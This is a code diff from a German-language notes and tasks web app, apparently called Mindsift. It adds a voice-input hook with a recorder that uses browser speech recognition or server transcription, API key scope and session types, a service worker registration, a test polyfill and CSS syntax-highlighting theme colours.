export type DataSection = 'notes' | 'tasks' | 'lists' | 'inbox' | 'themes';
export const DATA_SECTIONS: { id: DataSection; label: string }[] = [
{ id: 'notes', label: 'Notizen' },
{ id: 'tasks', label: 'Aufgaben' },
{ id: 'lists', label: 'Listen' },
{ id: 'inbox', label: 'Inbox' },
{ id: 'themes', label: 'Themes' },
];
export type BlockType = 'h1' | 'h2' | 'h3' | 'paragraph' | 'text' | 'todo' | 'bullet' | 'code' | 'callout' | 'divider' | 'table' | 'progress' | 'image' | 'audio';
export interface DocumentBlock {
id: string;
@@ -460,6 +507,7 @@ export interface ImportSummary {
lists: number;
listItems: number;
inbox: number;
themes?: number;
skipped: { path: string; reason: string }[];
applied: boolean;
}
@@ -473,13 +521,16 @@ export interface UserTheme {
updatedAt: string;
}
/** What an API key may deliver; keys never read data. */
export type ApiKeyScope = 'webhook:triage' | 'webhook:task' | 'webhook:list';
export interface APIKey {
id: string;
userId: string;
name: string;
keyPrefix: string;
rawKey?: string;
scopes: string;
scopes: string; // comma separated ApiKeyScope values
lastUsedAt?: string;
createdAt: string;
}
@@ -490,6 +541,7 @@ export interface DashboardStats {
tasksDoneCount: number;
docsCount: number;
docsTodosOpenCount?: number;
listItemsOpenCount?: number;
listsCount: number;
discardedCount: number;
}
@@ -502,3 +554,21 @@ export interface WSMessage<T = any> {
payload: T;
timestamp: string;
}
// A logged-in device (Profil & Sicherheit)
export interface Session {
id: string;
createdAt: string;
lastUsedAt: string;
userAgent: string;
ip: string;
current: boolean;
}
// Answer of merging two notes; kept by the client to undo it
export interface MergeResult {
targetId: string;
sourceId: string;
sourceTitle: string;
headingId: string;
}
+200
View File
@@ -0,0 +1,200 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from './api';
import { browserRecognition, currentVoiceConfig, EffectiveVoiceMode, loadVoiceConfig, VoiceRecorder } from './voice';
export type VoiceState = 'idle' | 'listening' | 'transcribing';
export interface VoiceInputOptions {
/** Text of the current recording; in browser mode repeatedly while speaking (final=false), always once at the end (final=true). */
onText: (text: string, final: boolean) => void;
onError?: (message: string) => void;
/** Browser mode: keep listening through pauses (hold-to-record) instead of stopping after a sentence. */
continuous?: boolean;
}
/**
* Microphone input for one button: start, stop (text arrives), cancel (nothing arrives). How the text
* is made depends on the server setting, see lib/voice.ts. mode is null until known, "off" or
* "unsupported" means: do not show a microphone.
*/
export function useVoiceInput({ onText, onError, continuous = false }: VoiceInputOptions) {
const [mode, setMode] = useState<EffectiveVoiceMode | null>(null);
const [state, setState] = useState<VoiceState>('idle');
const maxSecondsRef = useRef(600);
const recorderRef = useRef<VoiceRecorder | null>(null);
const recognitionRef = useRef<any>(null);
const timerRef = useRef<number | null>(null);
const cancelledRef = useRef(false);
const transcriptRef = useRef('');
const mountedRef = useRef(true);
const onTextRef = useRef(onText);
onTextRef.current = onText;
const onErrorRef = useRef(onError);
onErrorRef.current = onError;
useEffect(() => {
mountedRef.current = true;
void loadVoiceConfig().then((cfg) => {
if (!mountedRef.current) return;
setMode(cfg.mode);
maxSecondsRef.current = cfg.maxSeconds;
});
return () => {
mountedRef.current = false;
if (timerRef.current !== null) window.clearTimeout(timerRef.current);
recorderRef.current?.cancel();
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
};
}, []);
const setStateSafe = (s: VoiceState) => {
if (mountedRef.current) setState(s);
};
const fail = (message: string) => {
setStateSafe('idle');
onErrorRef.current?.(message);
};
const clearTimer = () => {
if (timerRef.current !== null) window.clearTimeout(timerRef.current);
timerRef.current = null;
};
const stop = useCallback(async () => {
clearTimer();
if (recognitionRef.current) {
try {
recognitionRef.current.stop();
} catch {
// onend still follows
}
return;
}
const rec = recorderRef.current;
if (!rec) return;
recorderRef.current = null;
const blob = await rec.stop();
if (cancelledRef.current) return;
if (!blob) {
setStateSafe('idle');
onTextRef.current('', true);
return;
}
setStateSafe('transcribing');
try {
const text = await api.transcribe(blob);
setStateSafe('idle');
onTextRef.current(text, true);
} catch (err: any) {
fail(err?.message || 'Spracherkennung fehlgeschlagen');
}
// fail only touches refs and state setters
// eslint-disable-next-line react-hooks/exhaustive-deps
}, []);
const startServer = async () => {
const rec = new VoiceRecorder();
recorderRef.current = rec;
setStateSafe('listening');
try {
await rec.start();
} catch {
recorderRef.current = null;
fail('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
return;
}
if (cancelledRef.current || recorderRef.current !== rec) {
rec.cancel();
return;
}
timerRef.current = window.setTimeout(() => void stop(), maxSecondsRef.current * 1000);
};
const startBrowser = () => {
const Recognition = browserRecognition();
if (!Recognition) {
fail('Spracheingabe wird von diesem Browser nicht unterstützt');
return;
}
const recognition = new Recognition();
recognition.lang = 'de-DE';
recognition.interimResults = true;
recognition.continuous = continuous;
recognition.onresult = (event: any) => {
let combined = '';
for (let i = 0; i < event.results.length; i++) combined += event.results[i][0].transcript;
transcriptRef.current = combined;
onTextRef.current(combined, false);
};
recognition.onerror = (event: any) => {
if (event?.error === 'not-allowed' || event?.error === 'service-not-allowed') {
cancelledRef.current = true;
recognitionRef.current = null;
fail('Mikrofon nicht freigegeben');
}
};
recognition.onend = () => {
clearTimer();
recognitionRef.current = null;
if (cancelledRef.current) return;
setStateSafe('idle');
onTextRef.current(transcriptRef.current, true);
};
recognitionRef.current = recognition;
setStateSafe('listening');
try {
recognition.start();
timerRef.current = window.setTimeout(() => void stop(), maxSecondsRef.current * 1000);
} catch {
recognitionRef.current = null;
fail('Spracheingabe konnte nicht gestartet werden');
}
};
const start = useCallback(async () => {
if (recorderRef.current || recognitionRef.current) return;
cancelledRef.current = false;
transcriptRef.current = '';
const current = mode ?? currentVoiceConfig().mode;
if (current === 'server') await startServer();
else if (current === 'browser') startBrowser();
else fail(current === 'off' ? 'Spracheingabe ist ausgeschaltet' : 'Spracheingabe wird von diesem Browser nicht unterstützt');
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [mode, continuous]);
const cancel = useCallback(() => {
cancelledRef.current = true;
clearTimer();
recorderRef.current?.cancel();
recorderRef.current = null;
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
setStateSafe('idle');
}, []);
const toggle = useCallback(() => {
if (state === 'listening') void stop();
else if (state === 'idle') void start();
}, [state, start, stop]);
/** Current input level 0..1 for waves (server mode), null when unknown. */
const level = useCallback(() => recorderRef.current?.level() ?? null, []);
return {
mode,
available: mode === 'server' || mode === 'browser',
state,
start,
stop,
cancel,
toggle,
level,
};
}
+157
View File
@@ -0,0 +1,157 @@
// Voice input for all places with a microphone button. The server decides how it works (STT_* in the
// environment, reported by /auth/status):
// server record with MediaRecorder, the own Whisper server turns it into text after stopping
// browser the browser's speech recognition (Chrome, Edge, Safari; text appears while speaking)
// off no voice input
import { api } from './api';
import type { VoiceMode } from './types';
export type EffectiveVoiceMode = VoiceMode | 'unsupported';
export interface VoiceConfig {
mode: EffectiveVoiceMode;
maxSeconds: number;
}
let configPromise: Promise<VoiceConfig> | null = null;
let loadedConfig: VoiceConfig | null = null;
export function browserRecognition(): any {
if (typeof window === 'undefined') return null;
return (window as any).SpeechRecognition || (window as any).webkitSpeechRecognition || null;
}
export function canRecord(): boolean {
return typeof window !== 'undefined' && typeof (window as any).MediaRecorder !== 'undefined' && !!navigator.mediaDevices?.getUserMedia;
}
/** What this browser can actually do with the server's setting. */
export function effectiveMode(mode: VoiceMode | undefined): EffectiveVoiceMode {
if (mode === 'off') return 'off';
if (mode === 'server') return canRecord() ? 'server' : 'unsupported';
return browserRecognition() ? 'browser' : 'unsupported';
}
/** Loaded once per page; the setting only changes with a server restart. */
export function loadVoiceConfig(): Promise<VoiceConfig> {
if (!configPromise) {
configPromise = api
.getAuthStatus()
.then((st) => {
loadedConfig = { mode: effectiveMode(st.voice?.mode), maxSeconds: st.voice?.maxSeconds || 600 };
return loadedConfig;
})
.catch(() => {
configPromise = null; // offline at start: ask again next time
return { mode: effectiveMode('browser'), maxSeconds: 600 };
});
}
return configPromise;
}
/** The setting if already loaded; until then the browser's recognition (a button must react at once). */
export function currentVoiceConfig(): VoiceConfig {
return loadedConfig ?? { mode: effectiveMode('browser'), maxSeconds: 600 };
}
/** For tests. */
export function resetVoiceConfig(): void {
configPromise = null;
loadedConfig = null;
}
// Containers in order of preference; Safari only records MP4/AAC
const RECORDING_TYPES = ['audio/webm;codecs=opus', 'audio/webm', 'audio/mp4', 'audio/ogg;codecs=opus'];
function recordingType(): string | undefined {
const MR = (window as any).MediaRecorder;
if (!MR?.isTypeSupported) return undefined;
return RECORDING_TYPES.find((t) => MR.isTypeSupported(t));
}
/**
* One recording from the microphone, with a live input level for wave animations. stop() resolves
* with the audio; cancel() throws it away.
*/
export class VoiceRecorder {
private stream: MediaStream | null = null;
private recorder: MediaRecorder | null = null;
private chunks: Blob[] = [];
private audioCtx: AudioContext | null = null;
private analyser: AnalyserNode | null = null;
private samples: Uint8Array | null = null;
private done: ((blob: Blob | null) => void) | null = null;
async start(): Promise<void> {
this.stream = await navigator.mediaDevices.getUserMedia({
audio: { echoCancellation: true, noiseSuppression: true, autoGainControl: true },
});
const type = recordingType();
this.recorder = new MediaRecorder(this.stream, type ? { mimeType: type } : undefined);
this.chunks = [];
this.recorder.ondataavailable = (e) => {
if (e.data.size > 0) this.chunks.push(e.data);
};
this.recorder.onstop = () => {
const blob = this.chunks.length ? new Blob(this.chunks, { type: this.recorder?.mimeType || type || 'audio/webm' }) : null;
this.release();
this.done?.(blob);
this.done = null;
};
this.recorder.start(1000);
try {
const Ctx = (window as any).AudioContext || (window as any).webkitAudioContext;
this.audioCtx = new Ctx();
const source = this.audioCtx!.createMediaStreamSource(this.stream);
this.analyser = this.audioCtx!.createAnalyser();
this.analyser.fftSize = 512;
source.connect(this.analyser);
this.samples = new Uint8Array(this.analyser.fftSize);
void this.audioCtx!.resume?.();
} catch {
this.analyser = null; // no level, the recording still works
}
}
/** Input level 0..1 (roughly loudness), or null when unknown. */
level(): number | null {
if (!this.analyser || !this.samples) return null;
this.analyser.getByteTimeDomainData(this.samples as Uint8Array<ArrayBuffer>);
let sum = 0;
for (const v of this.samples) {
const x = (v - 128) / 128;
sum += x * x;
}
return Math.min(1, Math.sqrt(sum / this.samples.length) * 4);
}
stop(): Promise<Blob | null> {
return new Promise((resolve) => {
if (!this.recorder || this.recorder.state === 'inactive') {
this.release();
resolve(null);
return;
}
this.done = resolve;
this.recorder.stop();
});
}
cancel(): void {
this.done = null;
if (this.recorder && this.recorder.state !== 'inactive') {
this.recorder.onstop = () => this.release();
this.recorder.stop();
} else {
this.release();
}
}
private release(): void {
this.stream?.getTracks().forEach((t) => t.stop());
this.stream = null;
void this.audioCtx?.close?.().catch(() => {});
this.audioCtx = null;
this.analyser = null;
}
}
+7
View File
@@ -12,3 +12,10 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
</React.StrictMode>
);
// Service worker for the app shell (offline start, see public/sw.js)
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('/sw.js').catch(() => {});
});
}
+13
View File
@@ -4,6 +4,19 @@ import { cleanup } from '@testing-library/react';
// jsdom has no layout engine, so scrolling is a no-op here
Element.prototype.scrollIntoView = () => {};
if (typeof window !== 'undefined' && !window.PointerEvent) {
class PolyfillPointerEvent extends MouseEvent {
pointerId: number;
pointerType: string;
constructor(type: string, params: PointerEventInit = {}) {
super(type, params);
this.pointerId = params.pointerId ?? 1;
this.pointerType = params.pointerType ?? 'touch';
}
}
(window as any).PointerEvent = PolyfillPointerEvent;
}
afterEach(() => {
cleanup();
});
+11
View File
@@ -53,4 +53,15 @@
--radius-input: 2px;
--radius-checkbox: 0px;
--radius-pill: 9999px;
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
--code-keyword: #569cd6;
--code-string: #ce9178;
--code-number: #b5cea8;
--code-comment: #6a9955;
--code-property: #9cdcfe;
--code-function: #dcdcaa;
--code-type: #4ec9b0;
--code-punctuation: #d4d4d4;
--code-variable: #9cdcfe;
}
@@ -52,4 +52,15 @@
--radius-input: 0px;
--radius-checkbox: 0px;
--radius-pill: 0px;
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
--code-keyword: #569cd6;
--code-string: #ce9178;
--code-number: #b5cea8;
--code-comment: #6a9955;
--code-property: #9cdcfe;
--code-function: #dcdcaa;
--code-type: #4ec9b0;
--code-punctuation: #ffffff;
--code-variable: #9cdcfe;
}
+11
View File
@@ -52,4 +52,15 @@
--radius-input: 2px;
--radius-checkbox: 0px;
--radius-pill: 9999px;
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Light+) --- */
--code-keyword: #0000ff;
--code-string: #a31515;
--code-number: #098658;
--code-comment: #008000;
--code-property: #0451a5;
--code-function: #795e26;
--code-type: #267f99;
--code-punctuation: #3b3b3b;
--code-variable: #001080;
}
+35 -24
View File
@@ -1,37 +1,37 @@
/* ==========================================================================
MINDSIFT THEME: POLARIZED (Ultraviolet / Obsidian)
Tiefdunkles Obsidian mit elektrischem Violett-Akzent & scharfen Kanten.
MINDSIFT THEME: POLARIZED (Emerald / Teal)
Tiefdunkles Obsidian mit elektrischem Grün/Türkis-Akzent & scharfen Kanten.
========================================================================== */
:root[data-theme="polarized"] {
/* --- 1. AKZENTFARBE (Elektrisches Ultraviolett) --- */
--accent-primary: #a855f7;
--accent-hover: #c084fc;
--accent-dim: rgba(168, 85, 247, 0.15);
--accent-border: rgba(192, 132, 252, 0.45);
--text-on-accent: #ffffff;
/* --- 1. AKZENTFARBE (Elektrisches Grün / Türkis) --- */
--accent-primary: #14b8a6;
--accent-hover: #2dd4bf;
--accent-dim: rgba(20, 184, 166, 0.16);
--accent-border: rgba(45, 212, 191, 0.45);
--text-on-accent: #042f2e; /* dunkel: Weiß auf Türkis erreicht nur 2,5:1 */
/* --- 2. OBERFLÄCHEN & HINTERGRÜNDE --- */
--bg-app: #0d0b14;
--bg-panel: #151221;
--bg-panel-elevated: #1d182e;
--bg-panel-hover: #26203c;
--bg-input: #0f0d18;
--bg-overlay: rgba(6, 4, 10, 0.78);
--bg-code: #08060d;
--bg-app: #090e11;
--bg-panel: #10181c;
--bg-panel-elevated: #162127;
--bg-panel-hover: #1e2c34;
--bg-input: #0c1317;
--bg-overlay: rgba(4, 7, 9, 0.78);
--bg-code: #070b0e;
/* --- 3. TEXT & KONTRASTE --- */
--text-main: #f5f3ff;
--text-muted: #a79fc2;
--text-faint: #6d6585;
--text-main: #f0fdfa;
--text-muted: #8da6a9;
--text-faint: #5a7074;
/* --- 4. RAHMEN, LINIEN & SCHATTEN --- */
--border-color: rgba(168, 85, 247, 0.14);
--border-subtle: rgba(168, 85, 247, 0.07);
--border-strong: rgba(192, 132, 252, 0.30);
--shadow-panel: 0 10px 30px rgba(5, 3, 10, 0.55);
--scrollbar-thumb: rgba(168, 85, 247, 0.22);
--scrollbar-thumb-hover: rgba(192, 132, 252, 0.40);
--border-color: rgba(20, 184, 166, 0.16);
--border-subtle: rgba(20, 184, 166, 0.08);
--border-strong: rgba(45, 212, 191, 0.32);
--shadow-panel: 0 10px 30px rgba(3, 8, 10, 0.55);
--scrollbar-thumb: rgba(20, 184, 166, 0.22);
--scrollbar-thumb-hover: rgba(45, 212, 191, 0.42);
/* --- 5. STATUS- & SIGNALFARBEN --- */
--color-success: #10b981;
@@ -52,4 +52,15 @@
--radius-input: 2px;
--radius-checkbox: 0px;
--radius-pill: 9999px;
/* --- 7. CODE-SYNTAX-HIGHLIGHTING (VS Code Dark+) --- */
--code-keyword: #569cd6;
--code-string: #ce9178;
--code-number: #b5cea8;
--code-comment: #6a9955;
--code-property: #9cdcfe;
--code-function: #dcdcaa;
--code-type: #4ec9b0;
--code-punctuation: #d4d4d4;
--code-variable: #9cdcfe;
}
Loaded 100 of 186 files, more files were not shown because too many files have changed in this diff. Show more